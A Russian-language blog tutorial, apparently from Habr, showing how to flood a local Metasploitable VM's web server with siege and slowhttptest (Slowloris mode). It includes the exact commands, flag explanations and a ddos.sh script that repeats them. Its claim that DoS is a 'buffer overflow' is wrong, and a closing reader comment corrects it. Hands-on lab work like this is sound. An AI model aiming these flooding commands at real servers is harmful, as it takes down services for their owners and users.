В данной статье я поделюсь опытом ddos атаки уязвимой машины metasploitable.
Как ее устанавливать в виртуалбокс и настраивать я писал в этой статье:
https://habr.com/ru/articles/850188/
Еще раз напоминаю правовую информацию:
Данная статья создана исключительно в ознакомительных/образовательных/развивающих целях.
Автор статьи не несет ответственности за ваши действия.
Автор статьи ни к чему не призывает, более того напоминаю о существовании некоторых статей в уголовном кодексе РФ, их никто не отменял:
УК РФ Статья 272. Неправомерный доступ к компьютерной информации
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
УК РФ Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей
Именно поэтому я использую уязвимую машину на своем устройстве в качестве атакуемого сервера, то есть легитимно, в целях обучения.
Любой другой способ атаки на реальную систему - незаконный, без надлежащих на то санкций.
Вообще данный тип атак называется стресс-тестинг, ддос, или переполнение буфера. Суть такова: внешней атакующей машиной посылается большое количество запросов, и машина-сервер не справляется со всеми запросами. Кстати таким образом можно нагружать не только сервера, но и роутеры, отдельные хосты, шлюзы, и любой другой узел. Если речь идет о крупных серверах или агрегаторах то такой метод нагрузки практически бесполезен, в таких случая злоумышленник(и) (или же аудиторы если стресс-тест санкционированный) пишут особый вид вредоносных программ - ботнет (суть такова что это вредоносное ПО заражает устройства обычных пользователей с целью ддос атаки на сервера-жертвы для массовости атаки).
Приступим к практике запустим уязвимую машину metasploitable, узнаем ее ip адрес ifconfig - 192.168.166.234
Зайдем по адресу 192.168.166.234 и видим что на уязвимой машине на порту 80 через браузер можно зайти на сайт (конечно все локально).
Далее установим необходимые пакеты командой
sudo apt install siege slowhttptest
После установки приступим к атаке. Откроем два разных терминала и в каждый из них введем команды:
└─$ siege http://192.168.166.234/ -d1 -r2000 -c100
└─$ slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
Первая siege обозначает что мы атакуем с задержкой максимум в секунду -d1, -r2000 количество повторов текста, -c100 - количество одновременных запросов к серверу.
Вторую команду можно разобрать так: -c 500 - 500 соединений, -H режим "Slowloris", -g генерация статистики, -i 10 секунд до ожидания данных, -r 200 -t GET 200соединений с гет-запросом, далее ip/url сайта/домена, -x 24 -p 2 максимальная длина байта и 2 секунды таймаут.
Запускаем
По началу видим в "слоутесте" service available yes. Вторая программа тоже отправляет "гет-запросы"
спустя время видим в терминалах следующее:
Это значит что сервер "пал"
Пробуем зайти в браузере по адресу http://192.168.166.234/ и видим что сайт "не поднимется".
Атака успешна.
Подытожим. В данном примере хорошо видно как "положить" небольшой уязвимый сервер (тем более что на него отведено не так много системных ресурсов всего 500Мб оперативы и 1-2 ядро процессора). Стресс-тестинг является одним из необходимых видов аудита информационной безопасности (белого хакинга). А на этом у меня сегодня все.
Всем спасибо и до новых встреч.
P.S. Кстати процесс можно автоматизировать, написав скрипт скажем ddos.sh с таким содержимым:
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
или с таким
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
siege http://192.168.166.234/ -d4 -r20 -c4; slowhttptest -c 500 -H -g -i 10 -r 200 -t GET -u http://192.168.166.234/ -x 24 -p 2
и так далее
разрешить его исполнение в терминале
sudo chmod ugo+x ddos.sh
и просто запустить:
./ddos.sh
saboteur_kiev
Нужно корректно пользоваться терминологией. DOS это просто аббревиатура - Denial of Service, которая может быть вообще не связана с переполнением буфера (это совсем другая уязвимость).
Во-вторых у вас в статье пример DOS а не DDOS, потому что второй это распределенный DOS.